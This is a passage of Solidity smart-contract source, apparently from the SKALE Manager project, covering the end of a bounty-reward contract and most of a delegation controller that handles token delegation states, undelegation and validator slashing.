currentMonth.add(1) ? _bountyWasPaidInCurrentEpoch : 0, nodeIndex, _getBountyPaid(validatorId, currentMonth), delegationController.getEffectiveDelegatedToValidator(validatorId, currentMonth), delegationController.getDelegatedToValidator(validatorId, currentMonth), constantsHolder, nodes ); } function getNextRewardTimestamp(uint nodeIndex) external view returns (uint) { return _getNextRewardTimestamp( nodeIndex, Nodes(contractManager.getContract("Nodes")), TimeHelpers(contractManager.getContract("TimeHelpers")) ); } function getEffectiveDelegatedSum() external view returns (uint[] memory) { return _effectiveDelegatedSum.getValues(); } function initialize(address contractManagerAddress) public override initializer { Permissions.initialize(contractManagerAddress); _nextEpoch = 0; _epochPool = 0; _bountyWasPaidInCurrentEpoch = 0; bountyReduction = false; nodeCreationWindowSeconds = 3 * SECONDS_PER_DAY; } // private function _calculateMaximumBountyAmount( uint epochPoolSize, uint effectiveDelegatedSum, uint bountyWasPaidInCurrentEpoch, uint nodeIndex, uint bountyPaidToTheValidator, uint effectiveDelegated, uint delegated, ConstantsHolder constantsHolder, Nodes nodes ) private view returns (uint) { if (nodes.isNodeLeft(nodeIndex)) { return 0; } if (now < constantsHolder.launchTimestamp()) { // network is not launched // bounty is turned off return 0; } if (effectiveDelegatedSum == 0) { // no delegations in the system return 0; } if (constantsHolder.msr() == 0) { return 0; } uint bounty = _calculateBountyShare( epochPoolSize.add(bountyWasPaidInCurrentEpoch), effectiveDelegated, effectiveDelegatedSum, delegated.div(constantsHolder.msr()), bountyPaidToTheValidator ); return bounty; } function _calculateBountyShare( uint monthBounty, uint effectiveDelegated, uint effectiveDelegatedSum, uint maxNodesAmount, uint paidToValidator ) private pure returns (uint) { if (maxNodesAmount > 0) { uint totalBountyShare = monthBounty .mul(effectiveDelegated) .div(effectiveDelegatedSum); return _min( totalBountyShare.div(maxNodesAmount), totalBountyShare.sub(paidToValidator) ); } else { return 0; } } function _getFirstEpoch(TimeHelpers timeHelpers, ConstantsHolder constantsHolder) private view returns (uint) { return timeHelpers.timestampToMonth(constantsHolder.launchTimestamp()); } function _getEpochPool( uint currentMonth, TimeHelpers timeHelpers, ConstantsHolder constantsHolder ) private view returns (uint epochPool, uint nextEpoch) { epochPool = _epochPool; for (nextEpoch = _nextEpoch; nextEpoch <= currentMonth; ++nextEpoch) { epochPool = epochPool.add(_getEpochReward(nextEpoch, timeHelpers, constantsHolder)); } } function _refillEpochPool(uint currentMonth, TimeHelpers timeHelpers, ConstantsHolder constantsHolder) private { uint epochPool; uint nextEpoch; (epochPool, nextEpoch) = _getEpochPool(currentMonth, timeHelpers, constantsHolder); if (_nextEpoch < nextEpoch) { (_epochPool, _nextEpoch) = (epochPool, nextEpoch); _bountyWasPaidInCurrentEpoch = 0; } } function _getEpochReward( uint epoch, TimeHelpers timeHelpers, ConstantsHolder constantsHolder ) private view returns (uint) { uint firstEpoch = _getFirstEpoch(timeHelpers, constantsHolder); if (epoch < firstEpoch) { return 0; } uint epochIndex = epoch.sub(firstEpoch); uint year = epochIndex.div(EPOCHS_PER_YEAR); if (year >= 6) { uint power = year.sub(6).div(3).add(1); if (power < 256) { return YEAR6_BOUNTY.div(2 ** power).div(EPOCHS_PER_YEAR); } else { return 0; } } else { uint[6] memory customBounties = [ YEAR1_BOUNTY, YEAR2_BOUNTY, YEAR3_BOUNTY, YEAR4_BOUNTY, YEAR5_BOUNTY, YEAR6_BOUNTY ]; return customBounties[year].div(EPOCHS_PER_YEAR); } } function _reduceBounty( uint bounty, uint nodeIndex, Nodes nodes, ConstantsHolder constants ) private returns (uint reducedBounty) { if (!bountyReduction) { return bounty; } reducedBounty = bounty; if (!nodes.checkPossibilityToMaintainNode(nodes.getValidatorId(nodeIndex), nodeIndex)) { reducedBounty = reducedBounty.div(constants.MSR_REDUCING_COEFFICIENT()); } } function _prepareBountyHistory(uint validatorId, uint currentMonth) private { if (_bountyHistory[validatorId].month < currentMonth) { _bountyHistory[validatorId].month = currentMonth; delete _bountyHistory[validatorId].bountyPaid; } } function _getBountyPaid(uint validatorId, uint month) private view returns (uint) { require(_bountyHistory[validatorId].month <= month, "Can't get bounty paid"); if (_bountyHistory[validatorId].month == month) { return _bountyHistory[validatorId].bountyPaid; } else { return 0; } } function _getNextRewardTimestamp(uint nodeIndex, Nodes nodes, TimeHelpers timeHelpers) private view returns (uint) { uint lastRewardTimestamp = nodes.getNodeLastRewardDate(nodeIndex); uint lastRewardMonth = timeHelpers.timestampToMonth(lastRewardTimestamp); uint lastRewardMonthStart = timeHelpers.monthToTimestamp(lastRewardMonth); uint timePassedAfterMonthStart = lastRewardTimestamp.sub(lastRewardMonthStart); uint currentMonth = timeHelpers.getCurrentMonth(); assert(lastRewardMonth <= currentMonth); if (lastRewardMonth == currentMonth) { uint nextMonthStart = timeHelpers.monthToTimestamp(currentMonth.add(1)); uint nextMonthFinish = timeHelpers.monthToTimestamp(lastRewardMonth.add(2)); if (lastRewardTimestamp < lastRewardMonthStart.add(nodeCreationWindowSeconds)) { return nextMonthStart.sub(BOUNTY_WINDOW_SECONDS); } else { return _min(nextMonthStart.add(timePassedAfterMonthStart), nextMonthFinish.sub(BOUNTY_WINDOW_SECONDS)); } } else if (lastRewardMonth.add(1) == currentMonth) { uint currentMonthStart = timeHelpers.monthToTimestamp(currentMonth); uint currentMonthFinish = timeHelpers.monthToTimestamp(currentMonth.add(1)); return _min( currentMonthStart.add(_max(timePassedAfterMonthStart, nodeCreationWindowSeconds)), currentMonthFinish.sub(BOUNTY_WINDOW_SECONDS) ); } else { uint currentMonthStart = timeHelpers.monthToTimestamp(currentMonth); return currentMonthStart.add(nodeCreationWindowSeconds); } } function _min(uint a, uint b) private pure returns (uint) { if (a < b) { return a; } else { return b; } } function _max(uint a, uint b) private pure returns (uint) { if (a < b) { return b; } else { return a; } } } // SPDX-License-Identifier: AGPL-3.0-only /* DelegationController.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777.sol"; import "../BountyV2.sol"; import "../Nodes.sol"; import "../Permissions.sol"; import "../utils/FractionUtils.sol"; import "../utils/MathUtils.sol"; import "./DelegationPeriodManager.sol"; import "./PartialDifferences.sol"; import "./Punisher.sol"; import "./TokenState.sol"; import "./ValidatorService.sol"; /** * @title Delegation Controller * @dev This contract performs all delegation functions including delegation * requests, and undelegation, etc. * * Delegators and validators may both perform delegations. Validators who perform * delegations to themselves are effectively self-delegating or self-bonding. * * IMPORTANT: Undelegation may be requested at any time, but undelegation is only * performed at the completion of the current delegation period. * * Delegated tokens may be in one of several states: * * - PROPOSED: token holder proposes tokens to delegate to a validator. * - ACCEPTED: token delegations are accepted by a validator and are locked-by-delegation. * - CANCELED: token holder cancels delegation proposal. Only allowed before the proposal is accepted by the validator. * - REJECTED: token proposal expires at the UTC start of the next month. * - DELEGATED: accepted delegations are delegated at the UTC start of the month. * - UNDELEGATION_REQUESTED: token holder requests delegations to undelegate from the validator. * - COMPLETED: undelegation request is completed at the end of the delegation period. */ contract DelegationController is Permissions, ILocker { using MathUtils for uint; using PartialDifferences for PartialDifferences.Sequence; using PartialDifferences for PartialDifferences.Value; using FractionUtils for FractionUtils.Fraction; uint public constant UNDELEGATION_PROHIBITION_WINDOW_SECONDS = 3 * 24 * 60 * 60; enum State { PROPOSED, ACCEPTED, CANCELED, REJECTED, DELEGATED, UNDELEGATION_REQUESTED, COMPLETED } struct Delegation { address holder; // address of token owner uint validatorId; uint amount; uint delegationPeriod; uint created; // time of delegation creation uint started; // month when a delegation becomes active uint finished; // first month after a delegation ends string info; } struct SlashingLogEvent { FractionUtils.Fraction reducingCoefficient; uint nextMonth; } struct SlashingLog { // month => slashing event mapping (uint => SlashingLogEvent) slashes; uint firstMonth; uint lastMonth; } struct DelegationExtras { uint lastSlashingMonthBeforeDelegation; } struct SlashingEvent { FractionUtils.Fraction reducingCoefficient; uint validatorId; uint month; } struct SlashingSignal { address holder; uint penalty; } struct LockedInPending { uint amount; uint month; } struct FirstDelegationMonth { // month uint value; //validatorId => month mapping (uint => uint) byValidator; } struct ValidatorsStatistics { // number of validators uint number; //validatorId => bool - is Delegated or not mapping (uint => uint) delegated; } /** * @dev Emitted when a delegation is proposed to a validator. */ event DelegationProposed( uint delegationId ); /** * @dev Emitted when a delegation is accepted by a validator. */ event DelegationAccepted( uint delegationId ); /** * @dev Emitted when a delegation is cancelled by the delegator. */ event DelegationRequestCanceledByUser( uint delegationId ); /** * @dev Emitted when a delegation is requested to undelegate. */ event UndelegationRequested( uint delegationId ); /// @dev delegations will never be deleted to index in this array may be used like delegation id Delegation[] public delegations; // validatorId => delegationId[] mapping (uint => uint[]) public delegationsByValidator; // holder => delegationId[] mapping (address => uint[]) public delegationsByHolder; // delegationId => extras mapping(uint => DelegationExtras) private _delegationExtras; // validatorId => sequence mapping (uint => PartialDifferences.Value) private _delegatedToValidator; // validatorId => sequence mapping (uint => PartialDifferences.Sequence) private _effectiveDelegatedToValidator; // validatorId => slashing log mapping (uint => SlashingLog) private _slashesOfValidator; // holder => sequence mapping (address => PartialDifferences.Value) private _delegatedByHolder; // holder => validatorId => sequence mapping (address => mapping (uint => PartialDifferences.Value)) private _delegatedByHolderToValidator; // holder => validatorId => sequence mapping (address => mapping (uint => PartialDifferences.Sequence)) private _effectiveDelegatedByHolderToValidator; SlashingEvent[] private _slashes; // holder => index in _slashes; mapping (address => uint) private _firstUnprocessedSlashByHolder; // holder => validatorId => month mapping (address => FirstDelegationMonth) private _firstDelegationMonth; // holder => locked in pending mapping (address => LockedInPending) private _lockedInPendingDelegations; mapping (address => ValidatorsStatistics) private _numberOfValidatorsPerDelegator; /** * @dev Modifier to make a function callable only if delegation exists. */ modifier checkDelegationExists(uint delegationId) { require(delegationId < delegations.length, "Delegation does not exist"); _; } /** * @dev Update and return a validator's delegations. */ function getAndUpdateDelegatedToValidatorNow(uint validatorId) external returns (uint) { return _getAndUpdateDelegatedToValidator(validatorId, _getCurrentMonth()); } /** * @dev Update and return the amount delegated. */ function getAndUpdateDelegatedAmount(address holder) external returns (uint) { return _getAndUpdateDelegatedByHolder(holder); } /** * @dev Update and return the effective amount delegated (minus slash) for * the given month. */ function getAndUpdateEffectiveDelegatedByHolderToValidator(address holder, uint validatorId, uint month) external allow("Distributor") returns (uint effectiveDelegated) { SlashingSignal[] memory slashingSignals = _processAllSlashesWithoutSignals(holder); effectiveDelegated = _effectiveDelegatedByHolderToValidator[holder][validatorId] .getAndUpdateValueInSequence(month); _sendSlashingSignals(slashingSignals); } /** * @dev Allows a token holder to create a delegation proposal of an `amount` * and `delegationPeriod` to a `validatorId`. Delegation must be accepted * by the validator before the UTC start of the month, otherwise the * delegation will be rejected. * * The token holder may add additional information in each proposal. * * Emits a {DelegationProposed} event. * * Requirements: * * - Holder must have sufficient delegatable tokens. * - Delegation must be above the validator's minimum delegation amount. * - Delegation period must be allowed. * - Validator must be authorized if trusted list is enabled. * - Validator must be accepting new delegation requests. */ function delegate( uint validatorId, uint amount, uint delegationPeriod, string calldata info ) external { require( _getDelegationPeriodManager().isDelegationPeriodAllowed(delegationPeriod), "This delegation period is not allowed"); _getValidatorService().checkValidatorCanReceiveDelegation(validatorId, amount); _checkIfDelegationIsAllowed(msg.sender, validatorId); SlashingSignal[] memory slashingSignals = _processAllSlashesWithoutSignals(msg.sender); uint delegationId = _addDelegation( msg.sender, validatorId, amount, delegationPeriod, info); // check that there is enough money uint holderBalance = IERC777(contractManager.getSkaleToken()).balanceOf(msg.sender); uint forbiddenForDelegation = TokenState(contractManager.getTokenState()) .getAndUpdateForbiddenForDelegationAmount(msg.sender); require(holderBalance >= forbiddenForDelegation, "Token holder does not have enough tokens to delegate"); emit DelegationProposed(delegationId); _sendSlashingSignals(slashingSignals); } /** * @dev See {ILocker-getAndUpdateLockedAmount}. */ function getAndUpdateLockedAmount(address wallet) external override returns (uint) { return _getAndUpdateLockedAmount(wallet); } /** * @dev See {ILocker-getAndUpdateForbiddenForDelegationAmount}. */ function getAndUpdateForbiddenForDelegationAmount(address wallet) external override returns (uint) { return _getAndUpdateLockedAmount(wallet); } /** * @dev Allows token holder to cancel a delegation proposal. * * Emits a {DelegationRequestCanceledByUser} event. * * Requirements: * * - `msg.sender` must be the token holder of the delegation proposal. * - Delegation state must be PROPOSED. */ function cancelPendingDelegation(uint delegationId) external checkDelegationExists(delegationId) { require(msg.sender == delegations[delegationId].holder, "Only token holders can cancel delegation request"); require(getState(delegationId) == State.PROPOSED, "Token holders are only able to cancel PROPOSED delegations"); delegations[delegationId].finished = _getCurrentMonth(); _subtractFromLockedInPendingDelegations(delegations[delegationId].holder, delegations[delegationId].amount); emit DelegationRequestCanceledByUser(delegationId); } /** * @dev Allows a validator to accept a proposed delegation. * Successful acceptance of delegations transition the tokens from a * PROPOSED state to ACCEPTED, and tokens are locked for the remainder of the * delegation period. * * Emits a {DelegationAccepted} event. * * Requirements: * * - Validator must be recipient of proposal. * - Delegation state must be PROPOSED. */ function acceptPendingDelegation(uint delegationId) external checkDelegationExists(delegationId) { require( _getValidatorService().checkValidatorAddressToId(msg.sender, delegations[delegationId].validatorId), "No permissions to accept request"); _accept(delegationId); } /** * @dev Allows delegator to undelegate a specific delegation. * * Emits UndelegationRequested event. * * Requirements: * * - `msg.sender` must be the delegator. * - Delegation state must be DELEGATED. */ function requestUndelegation(uint delegationId) external checkDelegationExists(delegationId) { require(getState(delegationId) == State.DELEGATED, "Cannot request undelegation"); ValidatorService validatorService = _getValidatorService(); require( delegations[delegationId].holder == msg.sender || (validatorService.validatorAddressExists(msg.sender) && delegations[delegationId].validatorId == validatorService.getValidatorId(msg.sender)), "Permission denied to request undelegation"); _removeValidatorFromValidatorsPerDelegators( delegations[delegationId].holder, delegations[delegationId].validatorId); processAllSlashes(msg.sender); delegations[delegationId].finished = _calculateDelegationEndMonth(delegationId); require( now.add(UNDELEGATION_PROHIBITION_WINDOW_SECONDS) < _getTimeHelpers().monthToTimestamp(delegations[delegationId].finished), "Undelegation requests must be sent 3 days before the end of delegation period" ); _subtractFromAllStatistics(delegationId); emit UndelegationRequested(delegationId); } /** * @dev Allows Punisher contract to slash an `amount` of stake from * a validator. This slashes an amount of delegations of the validator, * which reduces the amount that the validator has staked. This consequence * may force the SKALE Manager to reduce the number of nodes a validator is * operating so the validator can meet the Minimum Staking Requirement. * * Emits a {SlashingEvent}. * * See {Punisher}. */ function confiscate(uint validatorId, uint amount) external allow("Punisher") { uint currentMonth = _getCurrentMonth(); FractionUtils.Fraction memory coefficient = _delegatedToValidator[validatorId].reduceValue(amount, currentMonth); uint initialEffectiveDelegated = _effectiveDelegatedToValidator[validatorId].getAndUpdateValueInSequence(currentMonth); uint[] memory initialSubtractions = new uint[](0); if (currentMonth < _effectiveDelegatedToValidator[validatorId].lastChangedMonth) { initialSubtractions = new uint[]( _effectiveDelegatedToValidator[validatorId].lastChangedMonth.sub(currentMonth) ); for (uint i = 0; i < initialSubtractions.length; ++i) { initialSubtractions[i] = _effectiveDelegatedToValidator[validatorId] .subtractDiff[currentMonth.add(i).add(1)]; } } _effectiveDelegatedToValidator[validatorId].reduceSequence(coefficient, currentMonth); _putToSlashingLog(_slashesOfValidator[validatorId], coefficient, currentMonth); _slashes.push(SlashingEvent({reducingCoefficient: coefficient, validatorId: validatorId, month: currentMonth})); BountyV2 bounty = _getBounty(); bounty.handleDelegationRemoving( initialEffectiveDelegated.sub( _effectiveDelegatedToValidator[validatorId].getAndUpdateValueInSequence(currentMonth) ), currentMonth ); for (uint i = 0; i < initialSubtractions.length; ++i) { bounty.handleDelegationAdd( initialSubtractions[i].sub( _effectiveDelegatedToValidator[validatorId].subtractDiff[currentMonth.add(i).add(1)] ), currentMonth.add(i).add(1) ); } } /** * @dev Allows Distributor contract to return and update the effective * amount delegated (minus slash) to a validator for a given month. */ function getAndUpdateEffectiveDelegatedToValidator(uint validatorId, uint month) external allowTwo("Bounty", "Distributor") returns (uint) { return _effectiveDelegatedToValidator[validatorId].getAndUpdateValueInSequence(month); } /** * @dev Return and update the amount delegated to a validator for the * current month. */ function getAndUpdateDelegatedByHolderToValidatorNow(address holder, uint validatorId) external returns (uint) { return _getAndUpdateDelegatedByHolderToValidator(holder, validatorId, _getCurrentMonth()); } function getEffectiveDelegatedValuesByValidator(uint validatorId) external view returns (uint[] memory) { return _effectiveDelegatedToValidator[validatorId].getValuesInSequence(); } function getEffectiveDelegatedToValidator(uint validatorId, uint month) external view returns (uint) { return _effectiveDelegatedToValidator[validatorId].getValueInSequence(month); } function getDelegatedToValidator(uint validatorId, uint month) external view returns (uint) { return _delegatedToValidator[validatorId].getValue(month); } /** * @dev Return Delegation struct. */ function getDelegation(uint delegationId) external view checkDelegationExists(delegationId) returns (Delegation memory) { return delegations[delegationId]; } /** * @dev Returns the first delegation month. */ function getFirstDelegationMonth(address holder, uint validatorId) external view returns(uint) { return _firstDelegationMonth[holder].byValidator[validatorId]; } /** * @dev Returns a validator's total number of delegations. */ function getDelegationsByValidatorLength(uint validatorId) external view returns (uint) { return delegationsByValidator[validatorId].length; } /** * @dev Returns a holder's total number of delegations. */ function getDelegationsByHolderLength(address holder) external view returns (uint) { return delegationsByHolder[holder].length; } function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); } /** * @dev Process slashes up to the given limit. */ function processSlashes(address holder, uint limit) public { _sendSlashingSignals(_processSlashesWithoutSignals(holder, limit)); } /** * @dev Process all slashes. */ function processAllSlashes(address holder) public { processSlashes(holder, 0); } /** * @dev Returns the token state of a given delegation. */ function getState(uint delegationId) public view checkDelegationExists(delegationId) returns (State state) { if (delegations[delegationId].started == 0) { if (delegations[delegationId].finished == 0) { if (_getCurrentMonth() == _getTimeHelpers().timestampToMonth(delegations[delegationId].created)) { return State.PROPOSED; } else { return State.REJECTED; } } else { return State.CANCELED; } } else { if (_getCurrentMonth() < delegations[delegationId].started) { return State.ACCEPTED; } else { if (delegations[delegationId].finished == 0) { return State.DELEGATED; } else { if (_getCurrentMonth() < delegations[delegationId].finished) { return State.UNDELEGATION_REQUESTED; } else { return State.COMPLETED; } } } } } /** * @dev Returns the amount of tokens in PENDING delegation state. */ function getLockedInPendingDelegations(address holder) public view returns (uint) { uint currentMonth = _getCurrentMonth(); if (_lockedInPendingDelegations[holder].month < currentMonth) { return 0; } else { return _lockedInPendingDelegations[holder].amount; } } /** * @dev Checks whether there are any unprocessed slashes. */ function hasUnprocessedSlashes(address holder) public view returns (bool) { return _everDelegated(holder) && _firstUnprocessedSlashByHolder[holder] < _slashes.length; } // private /** * @dev Allows Nodes contract to get and update the amount delegated * to validator for a given month. */ function _getAndUpdateDelegatedToValidator(uint validatorId, uint month) private returns (uint) { return _delegatedToValidator[validatorId].getAndUpdateValue(month); } /** * @dev Adds a new delegation proposal. */ function _addDelegation( address holder, uint validatorId, uint amount, uint delegationPeriod, string memory info ) private returns (uint delegationId) { delegationId = delegations.length; delegations.push(Delegation( holder, validatorId, amount, delegationPeriod, now, 0, 0, info )); delegationsByValidator[validatorId].push(delegationId); delegationsByHolder[holder].push(delegationId); _addToLockedInPendingDelegations(delegations[delegationId].holder, delegations[delegationId].amount); } /** * @dev Returns the month when a delegation ends. */ function _calculateDelegationEndMonth(uint delegationId) private view returns (uint) { uint currentMonth = _getCurrentMonth(); uint started = delegations[delegationId].started; if (currentMonth < started) { return started.add(delegations[delegationId].delegationPeriod); } else { uint completedPeriods = currentMonth.sub(started).div(delegations[delegationId].delegationPeriod); return started.add(completedPeriods.add(1).mul(delegations[delegationId].delegationPeriod)); } } function _addToDelegatedToValidator(uint validatorId, uint amount, uint month) private { _delegatedToValidator[validatorId].addToValue(amount, month); } function _addToEffectiveDelegatedToValidator(uint validatorId, uint effectiveAmount, uint month) private { _effectiveDelegatedToValidator[validatorId].addToSequence(effectiveAmount, month); } function _addToDelegatedByHolder(address holder, uint amount, uint month) private { _delegatedByHolder[holder].addToValue(amount, month); } function _addToDelegatedByHolderToValidator( address holder, uint validatorId, uint amount, uint month) private { _delegatedByHolderToValidator[holder][validatorId].addToValue(amount, month); } function _addValidatorToValidatorsPerDelegators(address holder, uint validatorId) private { if (_numberOfValidatorsPerDelegator[holder].delegated[validatorId] == 0) { _numberOfValidatorsPerDelegator[holder].number = _numberOfValidatorsPerDelegator[holder].number.add(1); } _numberOfValidatorsPerDelegator[holder]. delegated[validatorId] = _numberOfValidatorsPerDelegator[holder].delegated[validatorId].add(1); } function _removeFromDelegatedByHolder(address holder, uint amount, uint month) private { _delegatedByHolder[holder].subtractFromValue(amount, month); } function _removeFromDelegatedByHolderToValidator( address holder, uint validatorId, uint amount, uint month) private { _delegatedByHolderToValidator[holder][validatorId].subtractFromValue(amount, month); } function _removeValidatorFromValidatorsPerDelegators(address holder, uint validatorId) private { if (_numberOfValidatorsPerDelegator[holder].delegated[validatorId] == 1) { _numberOfValidatorsPerDelegator[holder].number = _numberOfValidatorsPerDelegator[holder].number.sub(1); } _numberOfValidatorsPerDelegator[holder]. delegated[validatorId] = _numberOfValidatorsPerDelegator[holder].delegated[validatorId].sub(1); } function _addToEffectiveDelegatedByHolderToValidator( address holder, uint validatorId, uint effectiveAmount, uint month) private { _effectiveDelegatedByHolderToValidator[holder][validatorId].addToSequence(effectiveAmount, month); } function _removeFromEffectiveDelegatedByHolderToValidator( address holder, uint validatorId, uint effectiveAmount, uint month) private { _effectiveDelegatedByHolderToValidator[holder][validatorId].subtractFromSequence(effectiveAmount, month); } function _getAndUpdateDelegatedByHolder(address holder) private returns (uint) { uint currentMonth = _getCurrentMonth(); processAllSlashes(holder); return _delegatedByHolder[holder].getAndUpdateValue(currentMonth); } function _getAndUpdateDelegatedByHolderToValidator( address holder, uint validatorId, uint month) private returns (uint) { return _delegatedByHolderToValidator[holder][validatorId].getAndUpdateValue(month); } function _addToLockedInPendingDelegations(address holder, uint amount) private returns (uint) { uint currentMonth = _getCurrentMonth(); if (_lockedInPendingDelegations[holder].month < currentMonth) { _lockedInPendingDelegations[holder].amount = amount; _lockedInPendingDelegations[holder].month = currentMonth; } else { assert(_lockedInPendingDelegations[holder].month == currentMonth); _lockedInPendingDelegations[holder].amount = _lockedInPendingDelegations[holder].amount.add(amount); } } function _subtractFromLockedInPendingDelegations(address holder, uint amount) private returns (uint) { uint currentMonth = _getCurrentMonth(); assert(_lockedInPendingDelegations[holder].month == currentMonth); _lockedInPendingDelegations[holder].amount = _lockedInPendingDelegations[holder].amount.sub(amount); } function _getCurrentMonth() private view returns (uint) { return _getTimeHelpers().getCurrentMonth(); } /** * @dev See {ILocker-getAndUpdateLockedAmount}. */ function _getAndUpdateLockedAmount(address wallet) private returns (uint) { return _getAndUpdateDelegatedByHolder(wallet).add(getLockedInPendingDelegations(wallet)); } function _updateFirstDelegationMonth(address holder, uint validatorId, uint month) private { if (_firstDelegationMonth[holder].value == 0) { _firstDelegationMonth[holder].value = month; _firstUnprocessedSlashByHolder[holder] = _slashes.length; } if (_firstDelegationMonth[holder].byValidator[validatorId] == 0) { _firstDelegationMonth[holder].byValidator[validatorId] = month; } } /** * @dev Checks whether the holder has performed a delegation. */ function _everDelegated(address holder) private view returns (bool) { return _firstDelegationMonth[holder].value > 0; } function _removeFromDelegatedToValidator(uint validatorId, uint amount, uint month) private { _delegatedToValidator[validatorId].subtractFromValue(amount, month); } function _removeFromEffectiveDelegatedToValidator(uint validatorId, uint effectiveAmount, uint month) private { _effectiveDelegatedToValidator[validatorId].subtractFromSequence(effectiveAmount, month); } /** * @dev Returns the delegated amount after a slashing event. */ function _calculateDelegationAmountAfterSlashing(uint delegationId) private view returns (uint) { uint startMonth = _delegationExtras[delegationId].lastSlashingMonthBeforeDelegation; uint validatorId = delegations[delegationId].validatorId; uint amount = delegations[delegationId].amount; if (startMonth == 0) { startMonth = _slashesOfValidator[validatorId].firstMonth; if (startMonth == 0) { return amount; } } for (uint i = startMonth; i > 0 && i < delegations[delegationId].finished; i = _slashesOfValidator[validatorId].slashes[i].nextMonth) { if (i >= delegations[delegationId].started) { amount = amount .mul(_slashesOfValidator[validatorId].slashes[i].reducingCoefficient.numerator) .div(_slashesOfValidator[validatorId].slashes[i].reducingCoefficient.denominator); } } return amount; } function _putToSlashingLog( SlashingLog storage log, FractionUtils.Fraction memory coefficient, uint month) private { if (log.firstMonth == 0) { log.firstMonth = month; log.lastMonth = month; log.slashes[month].reducingCoefficient = coefficient; log.slashes[month].nextMonth = 0; } else { require(log.lastMonth <= month, "Cannot put slashing event in the past"); if (log.lastMonth == month) { log.slashes[month].reducingCoefficient = log.slashes[month].reducingCoefficient.multiplyFraction(coefficient); } else { log.slashes[month].reducingCoefficient = coefficient; log.slashes[month].nextMonth = 0; log.slashes[log.lastMonth].nextMonth = month; log.lastMonth = month; } } } function _processSlashesWithoutSignals(address holder, uint limit) private returns (SlashingSignal[] memory slashingSignals) { if (hasUnprocessedSlashes(holder)) { uint index = _firstUnprocessedSlashByHolder[holder]; uint end = _slashes.length; if (limit > 0 && index.add(limit) < end) { end = index.add(limit); } slashingSignals = new SlashingSignal[](end.sub(index)); uint begin = index; for (; index < end; ++index) { uint validatorId = _slashes[index].validatorId; uint month = _slashes[index].month; uint oldValue = _getAndUpdateDelegatedByHolderToValidator(holder, validatorId, month); if (oldValue.muchGreater(0)) { _delegatedByHolderToValidator[holder][validatorId].reduceValueByCoefficientAndUpdateSum( _delegatedByHolder[holder], _slashes[index].reducingCoefficient, month); _effectiveDelegatedByHolderToValidator[holder][validatorId].reduceSequence( _slashes[index].reducingCoefficient, month); slashingSignals[index.sub(begin)].holder = holder; slashingSignals[index.sub(begin)].penalty = oldValue.boundedSub(_getAndUpdateDelegatedByHolderToValidator(holder, validatorId, month)); } } _firstUnprocessedSlashByHolder[holder] = end; } } function _processAllSlashesWithoutSignals(address holder) private returns (SlashingSignal[] memory slashingSignals) { return _processSlashesWithoutSignals(holder, 0); } function _sendSlashingSignals(SlashingSignal[] memory slashingSignals) private { Punisher punisher = Punisher(contractManager.getPunisher()); address previousHolder = address(0); uint accumulatedPenalty = 0; for (uint i = 0; i < slashingSignals.length; ++i) { if (slashingSignals[i].holder != previousHolder) { if (accumulatedPenalty > 0) { punisher.handleSlash(previousHolder, accumulatedPenalty); } previousHolder = slashingSignals[i].holder; accumulatedPenalty = slashingSignals[i].penalty; } else { accumulatedPenalty = accumulatedPenalty.add(slashingSignals[i].penalty); } } if (accumulatedPenalty > 0) { punisher.handleSlash(previousHolder, accumulatedPenalty); } } function _addToAllStatistics(uint delegationId) private { uint currentMonth = _getCurrentMonth(); delegations[delegationId].started = currentMonth.add(1); if (_slashesOfValidator[delegations[delegationId].validatorId].lastMonth > 0) { _delegationExtras[delegationId].lastSlashingMonthBeforeDelegation = _slashesOfValidator[delegations[delegationId].validatorId].lastMonth; } _addToDelegatedToValidator( delegations[delegationId].validatorId, delegations[delegationId].amount, currentMonth.add(1)); _addToDelegatedByHolder( delegations[delegationId].holder, delegations[delegationId].amount, currentMonth.add(1)); _addToDelegatedByHolderToValidator( delegations[delegationId].holder, delegations[delegationId].validatorId, delegations[delegationId].amount, currentMonth.add(1)); _updateFirstDelegationMonth( delegations[delegationId].holder, delegations[delegationId].validatorId, currentMonth.add(1)); uint effectiveAmount = delegations[delegationId].amount.mul( _getDelegationPeriodManager().stakeMultipliers(delegations[delegationId].delegationPeriod)); _addToEffectiveDelegatedToValidator( delegations[delegationId].validatorId, effectiveAmount, currentMonth.add(1)); _addToEffectiveDelegatedByHolderToValidator( delegations[delegationId].holder, delegations[delegationId].validatorId, effectiveAmount, currentMonth.add(1)); _addValidatorToValidatorsPerDelegators( delegations[delegationId].holder, delegations[delegationId].validatorId ); } function _subtractFromAllStatistics(uint delegationId) private { uint amountAfterSlashing = _calculateDelegationAmountAfterSlashing(delegationId); _removeFromDelegatedToValidator( delegations[delegationId].validatorId, amountAfterSlashing, delegations[delegationId].finished); _removeFromDelegatedByHolder( delegations[delegationId].holder, amountAfterSlashing, delegations[delegationId].finished); _removeFromDelegatedByHolderToValidator( delegations[delegationId].holder, delegations[delegationId].validatorId, amountAfterSlashing, delegations[delegationId].finished); uint effectiveAmount = amountAfterSlashing.mul( _getDelegationPeriodManager().stakeMultipliers(delegations[delegationId].delegationPeriod)); _removeFromEffectiveDelegatedToValidator( delegations[delegationId].validatorId, effectiveAmount, delegations[delegationId].finished); _removeFromEffectiveDelegatedByHolderToValidator( delegations[delegationId].holder, delegations[delegationId].validatorId, effectiveAmount, delegations[delegationId].finished); _getBounty().handleDelegationRemoving( effectiveAmount, delegations[delegationId].finished); } /** * @dev Checks whether delegation to a validator is allowed. * * Requirements: * * - Delegator must not have reached the validator limit. * - Delegation must be made in or after the first delegation month. */ function _checkIfDelegationIsAllowed(address holder, uint validatorId) private view returns (bool) { require( _numberOfValidatorsPerDelegator[holder].delegated[validatorId] > 0 || ( _numberOfValidatorsPerDelegator[holder].delegated[validatorId] == 0 && _numberOfValidatorsPerDelegator[holder].number < _getConstantsHolder().limitValidatorsPerDelegator() ), "Limit of validators is reached" ); } function _getDelegationPeriodManager() private view returns (DelegationPeriodManager) { return DelegationPeriodManager(contractManager.getDelegationPeriodManager()); } function _getBounty() private view returns 